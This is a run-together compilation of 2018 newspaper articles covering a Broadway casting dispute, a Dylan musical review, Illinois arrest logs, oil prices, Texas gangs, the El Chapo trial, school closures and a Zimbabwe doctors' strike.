O'Brien, a Tony-winning director with a long Broadway resume, is taking over, and the production will continue as scheduled, the theater said. Roundabout officials said that in keeping with a mission of diversity throughout their season, there will be actors of color in "All My Sons" - just not in the configuration Mosher envisioned. "Despite our shared commitment to having a diverse cast in our production of 'All My Sons,' Gregory Mosher and the Arthur Miller estate did not ultimately share the same vision of how best to achieve that," Todd Haimes, Roundabout's artistic director, said in a statement. "They couldn't agree on the specific casting choices that would lead to the richest-possible 'All My Sons' for 2019, and thus, Gregory Mosher has decided to step aside. We welcome Jack O'Brien as our director, and we're looking forward to presenting his production of this Arthur Miller masterpiece this spring." For her part, Miller said in a separate statement that the issue was never about using actors of color, but that she was worried Mosher's concept was "not fully thought out." "I am very excited to open my father's work up to diverse casting," she said. "Hence, an African-American Loman family in (director) Marianne Elliott's upcoming 'Death of a Salesman' in London, and (director) Rachel Chavkin's upcoming multiracial 'American Clock.' " According to Mosher, who is chairman of the theater department at Hunter College in New York and directed shows including the original Broadway production of David Mamet's Pulitzer-winning "Glengarry Glen Ross," Roundabout's leadership signed off on a plan to cast both brother-and-sister supporting characters, Ann and George Deever, as actors of color. He said it was only after Miller was apprised of the idea - and auditions were underway - that the dispute occurred. "My understanding is that (Miller) thought it would prevent the audience from engaging with the play if it wasn't historically accurate," Mosher said. "We finally reached a point where we were not going to go ahead (together)." "All My Sons," set in 1947 Ohio, concerns the complicity of Joe Keller in the criminal manufacture of faulty airplane parts for the war effort, a crime for which his partner, Steve Deever, whom we never see, has gone to jail. Mosher said his plan was to cast Steve's grown children, George and Ann - the latter romantically involved with Joe's son, World War II vet Chris - with black actors. "When Gregory suggested casting the Deevers as African-American, I wanted to be sure the concept held water historically and thematically," Miller said in her statement. She added that she worried Mosher's casting "was in danger of white-washing the racism of 1947 suburban Ohio." When she suggested that Mosher adopt a true "colorblind" approach - meaning opening all the roles to actors of any color - "Mr. Mosher rejected that idea and chose to leave the production." Permutations of colorblind, or nontraditional, casting are increasingly common in productions of all kinds across the country as well as on Broadway. How casting is determined for roles written traditionally for white characters remains highly subjective and, as the Roundabout situation underlines, is open to disparate interpretations. At Ford's Theatre in Washington, for instance, a 2017 revival of "Death of a Salesman" featured a black actor, Craig Wallace, as Willy Loman and three white actors playing his wife and sons. Casting plans for "All My Sons" remain unfinished, as O'Brien is just getting up to speed, Roundabout officials said, but it appears that the actor Mosher wanted for George Deever is still under serious consideration. In the last Broadway revival of "All My Sons," in 2008, George and Ann Deever were played by Christian Camargo and Katie Holmes. Mosher, who in 2009 directed a well-received Broadway revival of another Miller play, "A View From the Bridge" starring Scarlett Johansson and Liev Schreiber, pointed out that a concurrent revival of "All My Sons" at London's Old Vic, starring Sally Field and Bill Pullman, will have a multiracial cast. The two black actors in that production, however, are not appearing in the roles of George and Ann. NEW YORK - The first time I heard about "Girl From the North Country," my thoughts pretty much coincided with those of Conor McPherson, the dramatist and director who would eventually bring it to exhilarating life. "I initially thought, 'Well, you know, it just felt like a bad thing to do,' " McPherson said by phone from Dublin recently. "Bob Dylan and a musical? Er, no." We would both end up being surprised - his change of mind, of course, being far more significant. For "Girl From the North Country," closing Sunday after a highly successful 3 1/2-month run at the Public Theater, is in my estimation the best musical of 2018, on or off Broadway, and beyond. What happens to it next is still apparently up in the air, as it is not, despite a remarkable Dylan songbook spanning more than 40 years, one of those easy-to-transfer projects. As a tale set in a Duluth, Minnesota, flophouse during the Depression, and stocked by McPherson with a gallery of hard-luck characters, the production doesn't have the upbeat infrastructure of so many other, more commercial musicals. (The Public is a nonprofit organization.) I have heard it described by some as too much of a downer - as though the only emotional weather a mass American audience can endure is relentless sunshine. It was with the musical's value and the challenges to its longevity in mind that I wanted to write about it again, and have a chance to identify what has made it, for me, such a lasting high point of the year. We in the theater critic business spend so much time writing about plays and musicals at the outsets of their journeys that few opportunities seem to exist to go back and examine the impact of shows after a considerable portion of the public has taken a look. And "Girl From the North Country" is one of those enterprises worth visiting again, as I did, in the advanced stages of its run in the Public's Newman Theater. What I got from this second encounter with the American version of the show - which I had seen in its original incarnation in London - was a deeper appreciation of the profound effect that casting American actors in its 17 roles has had on the work. And of the achievement of one actor in particular, whose contribution has not only established her as a major musical theater talent, but also helps make the case for wider exposure of the musical in this country. That person is movie, stage and television actress Mare Winningham, whose performance provides the emotional backbone of the musical. She plays Elizabeth, a mentally ill middle-aged mother who has never recovered from the death of a daughter. Amid the variety of hardships recounted by the denizens of the boardinghouse run by her husband (played by Stephen Bogardus), Elizabeth's story is one of the evening's most moving. Winningham's rendition of the show's best-known Dylan number, "Like a Rolling Stone," becomes a kind of poignant anthem for all of the characters, each walled up in their own fortresses of pain. Over the run, Winningham has tried to assess the spell Dylan casts over the Newman, and how McPherson managed to make a score of music from the 1960s to the 2000s speak for the realities of the 1930s. "You see the audience - the songs belong to them," the actress said from an office in the Public's theater complex in the East Village. "There was a moment in rehearsal when Conor talked about how each of the characters is on the precipice of survival," she continued, explaining that the director sought to "strip us all of the sentiment that actors want to cling to." Whenever questions arose about illuminating the relationship between the songs and the story, McPherson told the cast not to worry. "Dylan will do it for us," he told them. "I felt that Dylan's lyrics were so timeless," McPherson said. "They're almost romantic poems that come from any time. If you think of what was informing his development as a songwriter, it was those very well-crafted songs of the '30s and '40s that would have been coming through the radio. Ignited by the likes of Hank Williams, Woody Guthrie, but then also Buddy Holly, he was listening to music before rock 'n' roll was invented, and then rock 'n' roll crashed into it." You could sense in the original London iteration, born at the Old Vic Theatre and later moved to a commercial run in the West End, an accomplished cast that was exerting itself to play plain American folk from the upper Midwest. With the American and Canadian actors - among them such estimable hands as Marc Kudisch, Luba Mason, Sydney James Harcourt, Kimber Sprawl and Robert Joy - some of that artifice disappeared. "What was interesting doing it with American actors was that it was a whole side of their energy that was available to them because they didn't have to pretend to be American," the Irish-born playwright said. "I kept saying to the cast, 'Does this feel American?' " It does, indeed, feel American, the world of "Girl From the North Country," and evocative particularly of the perpetual sense of panic and emotional exhaustion that destitution can wreak. But what distinguishes this show from so many others that have used pre-existing music by famous artists is that the repurposing not only undergirds the storytelling, but also changes the songs. For Winningham, who has sung all her life and whose recording career has intermingled with her acting, the prospect of singing a Dylan classic was both exciting and daunting. "I was a little paranoid about '(Like a) Rolling Stone,' " she said. "It was the trickiest song, because it's so iconic." It was her boyfriend who helped demystify the assignment, by explaining that the director had to sense her, not Dylan. " 'He's going to want you to bring you to it,' " she recalls him saying. " 'You have to let go and bring yourself.' " That notion of a personal spark invigorating beloved music is emblematic of "Girl From the North Country," and may help explain why the desire to hear it again was stronger for me with this musical than any other of the past 12 months. The hope is that the closing performance on Sunday won't be the last chance anyone else gets to hear it. --- "Girl From the North Country" Through Sunday at the Public Theater, 425 Lafayette St., New York. 212-967-7555. publictheater.org. CARROLLTON The pre-trial hearing for a Greene County man charged in the double homicide of two Rockbridge brothers has been pushed to February. A motion to continue was allowed Monday, moving the pre-trial hearing for Adam Gowin, 28, of Rockbridge to 9:30 a.m. Feb. 15 in Greene County Court. That move will bump the start of his jury trial from January to April. Morgan County Sheriff ARRESTS, CITATIONS Brandon C. Smith, 33, of 117 Jean St. was booked into the Morgan County jail at 4:40 p.m. Wednesday on charges of theft, criminal damage to property and leaving the scene of an accident. Austin D. Malone, 25, of 2107 W. Monroe St., Springfield, was booked into the Morgan County jail at 7:19 p.m. Wednesday on a charge of driving while license is revoked or suspended. Jacksonville Police ARRESTS, CITATIONS Kaylona H. Avery, 28, of 742 S. Cass St., Virginia, was booked into the Morgan County jail at 8:51 p.m. Tuesday on charges of possession of methamphetamine and possession of a controlled substance. Deana L. Stratton, 54, of 524 S. East St. was booked into the Morgan County jail at 7:10 p.m. Wednesday on a battery charge. ACCIDENTS Robert L. R. McVay, 27, of Murrayville was cited on charges of operating an uninsured motor vehicle and failure to reduce speed to avoid an accident after police say he was driving in the 500 block of West Morton Avenue when the vehicle he was driving hit the rear of a vehicle being driven by Ronald D. Geer, 62 of Franklin at 3:35 p.m. Wednesday. Pike County Sheriff ARRESTS, CITATIONS Jeffrey S. McKinnon, 43, of Nebo was arrested at 12:21 a.m. Saturday on charges of reckless disarming of a firearm and unlawful possession of a firearm. Devon L. Wagner, 20, of Baylis was arrested at 3 p.m. Dec. 14 on a petition to revoke. Gregory S. Lish, 35, of Mendon was arrested at 4:27 p.m. Dec. 14 on a theft charge and on a Pike County warrant accusing him of failing to appear in court. Austin J. Tedder, 20, of Tyrone, Oklahoma, was arrested at 11:34 a.m. Dec. 13 on charges of possession of methamphetamine, possession of drug paraphernalia, speeding and driving while license is revoked or suspended. Latoya L. Madlock, 42, of Chicago was arrested at 3:07 p.m. Dec. 12 on charges of driving while license is revoked or suspended and having an obstructed windshield and on warrants from McHenry, Kane and Will counties. Bryan R. Smith, 47, of Roodhouse was arrested at 1:23 a.m. Dec. 12 on a possession of a controlled substance charge. Brennan L. Lindley, 19, of Godfrey was arrested at 2:17 a.m. Dec. 11 on charges of driving under the influence and possession of a controlled substance. Zebulon Q. McDaniels, 23, of Nebo was arrested at 11:46 a.m. Dec. 11 on a petition to revoke. Compiled by Nick Draper, David C.L. Bauer and Samantha McDaniel-Ogletree Government to reduce E-levy from 1.75% to 1.5% ... The change came in 2014. That year, with the Great Recession well over, the domestic migration shortfall jumped from 68,204 to 93,704. The negative number jumped again in 2015 (106,544) and again in 2016 (109,941). In 2017, more exodus: 114,779. And now in 2018, Illinois lost another 114,154 people. If youve read our editorials about what we call the Illinois Exodus, youve met many of these people and absorbed their families stories. They include young people who will build their futures elsewhere, far from the families who raised them and hoped to keep them close. If some dioceses have kept 500 accusations secret, we want to know who did so. And if some accusations havent been shared with the public the reports phrase because criminal prosecutors decided not to take action, we want to know, too, how common that is. But that brings us to the question Madigans report provokes but doesnt address: Should accusations that have been discredited or otherwise found lacking by law enforcement be shared with the public? In other words, it remains unclear to us how many, if any, of the 500 accused clergy should be added to the 185 already proven to have committed wrongdoing. PLAINVIEW Wayland Baptist University celebrated a historical milestone Saturday afternoon, recognizing three students who were among the first in school history to graduate with a doctoral degree. Christian Homan of Albuquerque, N.M., Angelica Landry of Sierra Vista, Ariz., and Jessica Williams of Lubbock were recognized for their accomplishments as member of the first doctoral cohort in school history. A fourth member of the cohort, Howard DeMotta, was recognized a few weeks earlier in a graduation ceremony in Hawaii. Wayland President Dr. Bobby Hall took a moment to recognize the graduates. "The doctoral degree is considered a terminal degree, the highest that can be earned in its academic discipline," Hall said. "These are Pioneers in the truest sense of the word, and feel free to call them Dr. Homan, Dr. Landry and Dr. Williams after today's ceremony. I promise you, they will like that a lot." Dania Martinez Diaz, graduating with a bachelor's degree in Spanish education gave the student address. Diaz, who immigrated to the United States from San Andres Michoacan, Mexico, told her story of facing challenges in school due to her language barrier, as English is her second language. She said there were times when she felt scared, sad or anxious, but she continued to focus on education. She was even told that there would be no way she could maintain a 4.0 grade point average throughout college. On Saturday, however, Diaz graduated Summa Cum Laude with a perfect 4.0 GPA. Diaz used her personal testimony to challenge her fellow graduates to face obstacles head on. "We all have experienced moments of disappointment," Diaz said. "Life will try to knock you down many times. Eventually there will be challenges ahead, but the actions you take will determine who you are. You will not only be defined by your accomplishments, but by the way you overcome these challenges." Joining Diaz as highest ranking graduates with 4.0 GPAs was Kaelene Hansen, an English major from Cotton Center, and Curtis Joseph, a human services major from Trinidad. 3 1 of 3 Eric Gay, STF / Associated Press Show More Show Less 2 of 3 Brennan Linsley, STF / Associated Press Show More Show Less 3 of 3 WASHINGTON - Exxon Mobil is pressing the Environmental Protection Agency to maintain key elements of the Obama administration policy restricting methane emissions from oil and gas drilling. In a letter to the agency Monday, the Texas-based oil giant said while it was interested in finding cost effective ways to regulate the greenhouse gas, the administration should maintain programs including the leak monitoring program and enhanced standards for pneumatic devices and storage tanks. Oils plunge has taken prices below the level all but one OPEC country needs to square their 2019 budgets, increasing the risk of supply disruptions from economic dislocation and social unrest. At todays Brent price of $55 a barrel, only uber-wealthy and sparsely populated Kuwait will be able to make ends meets next year. OPEC giants Saudi Arabia, Iraq and Iran need much higher prices. So do the nations that have suffered disruptions in the past when prices have fallen: Libya, Venezuela and Nigeria. As prices have dropped, the market has focused on the impact on U.S. shale growth next year, but recent history points to rising risks within the cartel. As oil revenues fall, governments could soon face social unrest due to slower economic growth and higher unemployment. Theyll also have far less money to invest in the petroleum sector to keep output up. PRICES: Brent crude falls below $55 as Fed hike heightens demand fears "At current prices, too much attention on shale, not enough on OPEC," said Olivier Jakob, managing director at Swiss consultant Petromatrix GmbH. In late 2015, when oil prices plunged after Saudi Arabia imposed a "pump-at-will" policy that flooded the market, social trouble spread across OPEC, sending supply outages to a peak of 2.8 million barrels a day -- though the number was exacerbated by Western sanctions on Iran. Lower prices accelerated the decline of Venezuelas oil industry and saw the re-emergence of violent conflict in Nigerias main crude-producing region. Since then, even with new U.S. sanctions on Tehran, OPEC supply outages have fallen to less than 1.7 million barrels a day, according to Bloomberg News calculations based on data from the U.S. Energy Information Administration. ESTIMATES: Saudi budget estimate for oil seen as 'wishful thinking' Despite the sharp fall over the last two and a half months, oil prices remain well above the depths of 2015-16 crisis. Brent crude, the global benchmark, fell on Thursday to a low of $54.65 a barrel, compared to $27.10 in January 2016. Brent traded as high as $86.74 in early October. In contrast to the 2015-16 period, when most OPEC nations were boosting production, the cartel has just agreed to cut supply. Of all OPEC nations, only Kuwait can cover its budget with oil prices below $60 a barrel, according to data from the International Monetary Fund. Qatar, which is leaving the cartel on January 1, would be able to break-even at just $44 a barrel. Libya and Algeria need prices around $100 a barrel. Saudi Arabia, which announced its 2019 budget this week, is betting on higher oil revenues to finance a third consecutive year of fiscal loosening. Jason Tuvey, analyst at Capital Economics, a London-based consultancy, said the Saudi budget "appears to be premised on prices averaging $80 a barrel." 2018 Bloomberg L.P. About 20 years in the making, a proposed apartment complex across from Hemisfair Park and backed by the San Antonio Housing Authority cleared an initial hurdle Wednesday. The citys Historic Design and Review Commission gave conceptual approval to the 216-unit, $45.6 million multifamily complex that will sit on two lots at the intersection of Cesar E. Chavez Boulevard and Labor Street bordering the historic Lavaca neighborhood. The San Antonio Housing Facility Corp., a San Antonio Housing Authority affiliate, will own the complex constructed in partnership with locally based Franklin Development, SAHA spokeswoman Marivel Resendiz said in an email. Local firm Alamo Architects designed the complex. Forty-three of the complexs units will be set aside for households earning between 30 percent and 50 percent of the areas median income, though some of the its market-rate units may take residents with SAHA housing vouchers, Resendiz said. The plan to develop the complex stretches back to 1999 when the Victoria Courts housing projects where the HemisView Village apartment complex now sits were demolished, Jim Bailey of Alamo Architects told commissioners. As designed, the complex is intended to serve as a gateway to the Lavaca neighborhood, scaling down from about five stories along Cesar E. Chavez Boulevard to two- and three-story buildings along Labor Street, according to documents attached to Wednesdays agenda. The development will also feature 6,000 square feet of ground-floor retail, four two-story townhomes and a 4-story parking garage. The commission also approved minor design changes to the Credit Human headquarters building under construction at 1803 Broadway. Silver Ventures, which is developing the site, wanted to add porticos and trellises to the southern towers ground entrance, along with solar panels atop the two towers and parking garage. Joshua Fechter is a San Antonio-based staff writer covering real estate, economic development and philanthropy. Read him on our free site, mySA.com, and on our subscriber site, ExpressNews.com. | jfechter@express-news.net | Twitter: @JFreports These days Islamic State has about 1 percent of its former territory, but the groups poisonous ideology remains intact, as does a vacuum of power in war-torn Syria. Cancers of all types can recur: Bashar Assad is still the barbarous leader of Syria, while Russia and Iran are still playing destabilizing games. This is no time to up and leave. On Dec. 11, U.S. envoy to the region Brett McGurk said: I think its fair to say Americans will remain on the ground after the physical defeat of (Islamic State), until we have the pieces in place to ensure that that defeat is enduring. Just days before San Antonians take to the streets for Fiesta 2019, the city will celebrate another favorite festival: Taco Fest. Event organizers have schedule the festival for April 13 from 12 to 11 p.m. at La Villita Historic Arts Village. Taco Music Fest and the San Antonio Current are hosting, according to the Facebook event page. First it was the restaurant industry, then it was Facebook. Now, Generation Z, the demographic born after 1996, appears to be dissolving the traditional structure of Texas gangs. The Texas Department of Public Safety's new gang threat assessment, published last week, identifies several gang-related trends across the state in 2018. One of those trends has to do with younger members "relinquishing traditional gang structure and rules, opting for less organizational oversight and the freedom to serve in self-interested roles," the report said. RELATED: Barrio Azteca makes resurgence as top gang threat in Texas That description sounds similar to a long-used media trope to describe the millennial generation, the group born between 1981 and 1996. A deluge of think-pieces have said the demographic is "obsessed" with self-care and eschewing organized religion. Millennials have been accused of killing everything from home ownership to beer to napkins. But more recently, Generation Z has been stealing that industry-killing thunder, claiming malls and print magazines as possible victims of their digital world, according to a recent Bloomberg article. They wield more economic power and social media clout. Also, Jean Twenge, a psychology professor at San Diego State, told Bloomberg that Gen Z'ers prioritize personal wealth and material goods more than previous generations. "In psychological terms, it's a shift toward extrinsic valuesmoney, fame and richesrather than toward intrinsic values, like relationships and community feeling," Twenge said in the article. Texas Department of Public Safety spokesman Richard Standifer said the agency doesn't define the age of a "young" gang member. But according to the DPS report, gangs tend to recruit juveniles in schools and neighborhoods with promises of money, popularity, protection and family. Nowadays, newer members prefer a free enterprise approach with little oversight, similar to members of the Tango Blast gang, the report said. Young members have also tended to relinquish the traditional mandate to stay within the gang for life. RELATED: 14 top gangs operating in Houston and throughout southeast Texas For the Texas Mexican Mafia, young members have been dismantling the organization from within, causing internal strife and increased separation between the old and new members, the report said. Young members of Barrio Azteca, which has returned as a top threat in the state, have also been known to ignore rivalries and work with other gangs and drug cartels, the report said. "Young gang members are committing crimes to enjoy the profits for themselves, without first receiving permission from gang leadership," the report said. Julian Gill is a digital reporter in Houston. Read him on our breaking news site, Chron.com, and on our subscriber site, houstonchronicle.com. | julian.gill@chron.com | Text CHRON to 77453 to receive breaking news alerts by text message A San Antonio man sexually assaulted an 11-year-old girl multiple times before impregnating her, according to San Antonio police. Albert Sanchez, 32, was arrested Wednesday on suspicion of continuous sexual abuse of a child. The child reported Sanchez on Nov. 11, after her mother confronted her, according to Sanchez's arrest affidavit. "The victim's mother was concerned that the victim may have been impregnated by (Sanchez)," detectives wrote in the affidavit. TEEN RIOT: Houston police reportedly barred from riot at psychiatric hospital The girl told investigators that Sanchez is the uncle of a neighborhood friend and lives in the area, according to the affidavit. Sanchez introduced himself to the girl before the school year started, she told investigators. He asked the girl if she had a boyfriend before asking her to smoke marijuana with him in his room, police said. The girl agreed, according to the affidavit. After they smoked, Sanchez sexually assaulted her the first time. He told her not to tell anyone what happened, the affidavit says. The sexual assaults continued until October, according to the affidavit. The girl told investigators she continued seeing him because she was fearful of him. "The victim stated (Sanchez) kept constant communication with her nearly every day," detectives wrote in the affidavit. "(Sanchez's) close proximity to the victim caused her to see him almost every day." Sanchez remained in Bexar County Jail Friday. His bail was set at $75,000. Fares Sabawi covers crime in San Antonio and Bexar County. Read him on our breaking news site, mySA.com, and on our subscriber site, ExpressNews.com | fsabawi@mysa.com|@FaresInSA NEW YORK In May 2005, Pedro Flores, a young drug dealer from Chicago, had just arrived in the Mexican mountains for his first official meeting with his boss in the cocaine trade, Joaquin Guzman Loera, the Mexican crime lord known as El Chapo. Flores had been unnerved during his trip when the small plane he was on landed at a sharply inclined makeshift airstrip. He became terrified when a group of gunmen picked him up and drove him past a chilling sight: a naked man chained to a tree. Yet despite the harrowing journey, Flores and Guzman soon reached an agreement: They would cut out their middleman and work directly with one another. Appearing this week as a witness for the government at Guzmans trial, Flores spoke at length about that deal, telling jurors that for the next three years, he sold nearly 40 tons of the kingpins product in the United States, remitting to his boss in Mexico a staggering $800 million in cash. But as with so much else in the cartel world, what started with success ended in disaster. In 2008, exhausted by a life of crime and fearing for his safety, Flores began to spy on Guzman and his partners, secretly recording them for U.S. officials. Betrayal has been a central theme at the trial, which is in its second month in U.S. District Court in Brooklyn. But even though several of Guzmans former allies have testified against him and exposed the inner workings of his business, Flores not only spoke about the drug lords various crimes, but also offered proof of them in two recorded phone calls. Those calls captured on a Radio Shack recorder that Flores purchased were played for jurors Wednesday. In them, Guzman can be heard negotiating the sale of $1 million worth of Mexican heroin. He also instructs Flores to give the money to a courier in Chicago. For more than a month, the testimony at the trial has largely concerned the logistical complexities of moving drugs from Colombia to Mexico and then across the U.S. border. But in two days as a witness, Flores has shifted the trial to U.S. soil, describing drug deals in a Dennys parking lot in Illinois and distribution routes in Milwaukee, Minneapolis and Louisville, Kentucky. He has talked about spending hundreds of thousands of dollars on a trip for 60 people to a prize fight in Las Vegas and smuggling cocaine to Chicago in a truck filled with sheep. He has also testified about his own criminal history, which started during his childhood in Chicagos Little Village, a mostly Hispanic neighborhood. At 7, he recalled, he and his twin brother, Margarito, acted as English to Spanish translators for their father during drug deals, and were also tasked with loading and unloading carloads of cocaine. By age 20, the brothers were among the citys biggest wholesale drug dealers a position, Flores said, that attracted the attention of one of Guzmans representatives in the Sinaloa drug cartel. With its network of rail yards, airports, waterways and interstates, Chicago has long been a focal point of the cartels operations. It is centrally located or, as Flores put it Tuesday, halfway to everywhere. The man from Sinaloa, Lupe Ledesma, hired the brothers as his distributors and by the early 2000s, Flores said, they had already moved up to 20 tons of the cartels product through several U.S. cities. When the federal officials indicted the twins in 2004 on drug trafficking charges in Wisconsin, they fled together as fugitives to Mexico. There, Flores told the jurors, they continued selling drugs and were ultimately spotted by someone else: Ismael Zambada Garcia, Guzmans partner. Summoning the brothers to a meeting, Zambada praised them for the profits they were earning. He wished they could earn more, Flores added, quoting him as saying: Imagine if you guys were triplets. Shortly after that encounter, Flores said, he met Guzman in his mountaintop hide-out. While the men eventually worked well together, there was at first a cultural divide. Flores recalled how he showed up for the meeting wearing jean shorts and a T-shirt. The kingpin disapproved, telling him, With all that money, you couldnt afford the rest of the pants? The next three years went by in a flurry of drug deals and profits. Flores and his brother expanded to Detroit, Philadelphia and Washington, D.C. They set up warehouses in cities across the country always, he explained, in the best neighborhoods where the police werent likely to look. But in 2008 everything changed, he said. First, Guzman went to war with one of his former partners, Arturo Beltran Leyva, and the cartel chieftains demanded the brothers loyalty. Then, Flores wife got pregnant and he began to think about their future or lack of one, he said. Within a few months, he had his lawyer reach out to U.S. law enforcement officers who met with him in a hotel in Monterrey, Mexico. He went to Radio Shack, bought the small recorder and started to document his conversations with several cartel figures. He needed a way out, he said, and the U.S. officials provided it. I couldnt promise my family a tomorrow, he explained. This article originally appeared in The New York Times A San Antonio man sexually assaulted an 11-year-old girl multiple times, according to San Antonio police. Albert Sanchez, 32, was arrested Wednesday on suspicion of continuous sexual abuse of a child. FIND OUT FIRST: Get San Antonio breaking news directly to your inbox The child reported Sanchez on Nov. 11, after her mother confronted her, according to Sanchez's arrest affidavit. "The victim's mother was concerned that the victim may have been impregnated by (Sanchez)," detectives wrote in the affidavit. The girl told investigators that Sanchez is the uncle of a neighborhood friend and lives in the area, according to the affidavit. Sanchez introduced himself to the girl before the school year started, she told investigators. He asked the girl if she had a boyfriend before asking her to smoke marijuana with him in his room, police said. The girl agreed, according to the affidavit. After they smoked, Sanchez sexually assaulted her the first time. He told her not to tell anyone what happened, the affidavit says. RELATED: Records: 7 arrested, charged with child sex crimes in Bexar County in November The sexual assaults continued until October, according to the affidavit. The girl told investigators she continued seeing him because she was fearful of him. "The victim stated (Sanchez) kept constant communication with her nearly every day," detectives wrote in the affidavit. "(Sanchez's) close proximity to the victim caused her to see him almost every day." Sanchez remained in Bexar County Jail Friday. His bail was set at $75,000. Fares Sabawi covers crime in San Antonio and Bexar County. Read him on our breaking news site, mySA.com, and on our subscriber site, ExpressNews.com | fsabawi@mysa.com|@FaresInSA It's going to be a warm and possibly wet Christmas Day in San Antonio this year, National Weather Service meteorologists are predicting. Christmas Eve is forecast to have a high temperature of around 66 degrees, with that number going up to 70 degrees on a partly sunny Christmas Day. There's about a 20 percent chance of some afternoon showers on Christmas Day, according to meteorologist Brett Williams, but, if they fall at all, they would likely leave no more than a trace of accumulation. The lows for those days are forecast around 50 degrees or slightly cooler. Replay Lincoln Park (2833 N. Sheffield Ave.) brought back its The Office pop-up bar for the holiday season, adding another theme to the TV-show-themed pop-up. While the general event runs through New Years Day, this Saturday is the Office Winter Olympics, a contest of events including activities from Flonkerton to Dunderball to Paper Airplane Toss, all from the beloved Office episode. Space is limited to 64 teams of four people each, and winning teams will receive prizes including $500 cash, T-shirts, Office swag and free drinks. The event begins at 3 p.m. Saturday, and team registration is free. RSVP: eventbrite.com Plans to close schools are often explored when school districts face low enrollment and financial deficits. Closing schools might seem like a logical solution to fiscal shortcomings, but it can be more complicated and costlier in reality. Take the Austin Independent School District, or AISD. The district recently proposed to close 12 schools by the 2021-22 school year to address declining enrollment and financial challenges. I understand why AISD is considering this route, but there are costs to closing schools that districts often miss in the process. I have studied this topic for the past six years, and there are three unforeseen, nonfiscal costs that the school district leaders across the state should pay close attention to while they consider closing schools. What districts often underestimate are the costly effects of school closures on the academic outcomes of displaced students and the costly impacts of school closures on local communities. Plus, any fiscal savings that occur are often only short-term. Students academic outcomes will always be essential to school districts. But the truth is the academic outcomes for students after their schools close are neutral at best and negative in some cases. Research indicates that some students whose schools closed experience long-term negative impacts on their reading and math scores. Also, students whose schools have been closed are absent more often and have weaker relationships with adults and other students at their new schools. These experiences have been shown to occur even when students attend schools with higher academic ratings. So, closing one school and sending students to another school is not a simple fix and can possibly undermine the positive student outcomes that school districts want. Schools that mainly serve African-American and Latino students are closed at higher rates even when predominantly white schools have similar academic standings. In these communities, schools often represent a place of hope, pride and dreams. So, when schools are closed, it not only affects students, families, teachers and staff members, it also reverberates through the entire community. Schools are commonly a community institution in neighborhoods. Therefore, when they close, it can leave a gaping hole, erase racial and cultural histories, and create transportation issues for students and families because some students will have to travel longer distances just to attend school. The savings after school closures are also often short-term. Due to gentrification, housing unaffordability, growing competition from charter schools and other factors, some of Austins schools continue to lose enrollment. When schools in Texas consistently lose enrollment, it typically creates shortfalls for districts, especially those considered property-rich. Cutting costs is one of the main reasons school districts cite for closing schools. However, research shows that closing schools does not result in significant savings in big-city school district budgets unless combined with massive layoffs. The research is not clear on whether school closures result in long-term savings for districts. Despite shrinking budgets and enrollments, it is imperative that school administrators focus on racial and educational equity to ensure that students who are commonly underserved by schools, because of their race, income, gender, native language or perceived ability, are at the center of any decision to close schools. Equity work requires districts to be creative in their approaches to ever-changing education contexts. We know district administrators do not take closing schools lightly. But they should pay close attention to these commonly unforeseen, nonfiscal costs as they consider options to address their enrollment and fiscal challenges because research tells us that closing schools may not be the best option in the long run. Terrance L. Green is an assistant professor in the Department of Educational Leadership and Policy at the University of Texas at Austin. I am one of the older generation, 70 last June, and a conservative by nature. I am becoming more and more tired of the silliness I read and hear in news and advertising every day. 1. Everyone is special. Really? Regardless of your origin or affiliation, there needs to be a special day, club, movie, protest, etc., to acknowledge your special status. Maybe not. Consider focusing on your goals and get busy. Stop waiting for someone to float a loan that doesnt require a payback. If a loan is procured, pay it back or suffer the consequences. Act like a responsible adult. If you cant get a loan, improve your financial status; dont blame someone in a higher income bracket, someone of a different political party, or someone of a different ethnic origin for your dilemma. 2. Both sides of the political aisle gripe about their opponents and how little they care about the nation. Many contributors to the editorial section of the Express-News advocate voting the offenders out of office en masse. Right, but it is not gonna happen. The folks in Washington dont give a flip what any of us think and have no fear of being voted out. Stop pointing to the other side, and vote your conscience. If your side loses, suck it up and work for a better result next time. Sadly, it is just a matter of time before your political favorite does/says something stupid, insane or criminal. There is not a lock on political or moral stupidity. 3. Have you ever seen people so angry? About everything? The younger generation may see it as normal (like some of us did in the 60s), but it seems incidents going viral is a daily event. I understand that 24-hour news delivers information on a minute-by-minute basis, but the reaction in social media seems almost to be a requirement. There is no time to let the events play themselves out to a logical conclusion before the world wants to share its opinion/judgment. Wait 24 hours before you determine the latest onslaught of data is legit. Do not accept the word of any single media outlet as the final truth. Do your homework before you hit the social network with your view of the world after reading or hearing about an event from a single source. 4. Finally, if it is OK for you to speak your mind, then it is OK for the other person to speak theirs. The twist seems to be that we are either unable to express our views without degrading the other side, or we dont care to try. Just for grins, review the entire editorial section of the Express-News over a period of time. My experience has been that nonprofessionals (you and me) and journalists (O. Ricardo Pimentel, Maria Anglin, etc.) alike cant wait to jab an unflattering adjective or sarcastic note to the opposition. Surely the facts of our discontent are enough to sway the argument one way or the other. Mike Wilson lives in San Antonio. GOVERNMENT has tasked Vice-President Constantino Chiwenga with resolving the ongoing impasse between the State and the striking junior doctors at public hospitals amid reports senior medical practitioners have joined the industrial action, running into its third week now. In a briefing to journalists following Tuesdays Cabinet meeting, Information minister Monica Mutsvangwa said Health minister Obadiah Moyo will now be reporting directly to Chiwenga on progress being made during negotiations with the striking doctors. Following presentations by the Minister of Health and Child Care of an update on the junior doctors strike, Cabinet, while noting the ongoing efforts to resolve the matter, agreed that henceforth the engagement process will be under the guidance of Vice-President Chiwenga, Mutsvangwa said. Asked if Chiwengas presence in the negotiations was not meant to intimidate the junior doctors, given his public spat with nurses earlier this year, Mutsvangwa said the Vice-President was there to facilitate and ensure a speedy resolution of the crisis. The Vice-President is not going to directly negotiate with the junior doctors. The Minister of Health will continue with the discussions, but will give regular updates to the Vice-President, Mutsvangwa said. In April this year, Chiwenga, in his capacity as head of the social services cluster, summarily fired some 16 000 striking nurses after they rejected a plea from government to return to their posts while negotiations for a salary adjustment continued. This came after management at most major hospitals also joined the nurses industrial action. Chiwenga, at the time, said the drastic measure was taken after nurses continued with their strike even as Treasury had disbursed $17 114 446 to cover the outstanding salary arrears for nurses. Accordingly, government has decided, in the interest of patients and of saving lives, to discharge all the striking nurses with immediate effect. Further, the government has now instructed the Health Services Board to speedily engage, as appropriate, all unemployed, but trained nurses in the country. It has also authorised the board to recall retired nursing staff into the service, Chiwenga said then. Chiwenga argued, the strike had turned political at the time and government went on to officially fire some 6 000 nurses. However, government made an about turn a week later, withdrawing the dismissal letters and also employing more who had been languishing without jobs. Then Health minister David Parirenyatwa claimed the nurses had capitulated and reapplied for their jobs, but labour leaders said none of those who had been dismissed 